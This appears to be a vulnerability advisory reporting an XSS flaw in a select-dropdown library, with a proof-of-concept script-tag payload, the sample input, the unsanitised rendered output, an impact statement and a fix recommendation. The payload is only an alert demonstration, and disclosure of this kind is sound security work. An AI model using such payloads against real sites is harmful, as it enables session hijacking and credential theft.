Vulnerability: Cross-Site Scripting (XSS) in Select Element Rendering

The library is vulnerable to a Cross-Site Scripting (XSS) attack. If the content passed into a <select> element contains a malicious payload, it is rendered directly into the DOM without proper sanitization, leading to script execution.

Example Payload

<script>javascript:alert(1)</script>

Sample Input

<select>
  <option value="123">&lt;script&gt;javascript:alert(1)&lt;/script&gt;</option>
</select>

Resulting Rendered Output

<div class="nice-select" tabindex="0">
  <span class="current">
    <script>javascript:alert(1)</script>
  </span>
  <div class="nice-select-dropdown">
    <div class="nice-select-search-box">
      <input type="text" class="nice-select-search" placeholder="Search..." title="search">
    </div>
    <ul class="list">
      <li data-value="123" class="option selected null">
        <script>javascript:alert(1)</script>
      </li>
    </ul>
  </div>
</div>

Impact

This vulnerability allows attackers to inject and execute arbitrary JavaScript in the context of the user’s browser, which can lead to session hijacking, credential theft, and other malicious actions.

Recommendation

Ensure that all user-supplied content rendered into the DOM is properly escaped or sanitized. Avoid using innerHTML or similar unsafe DOM manipulation methods when rendering untrusted content.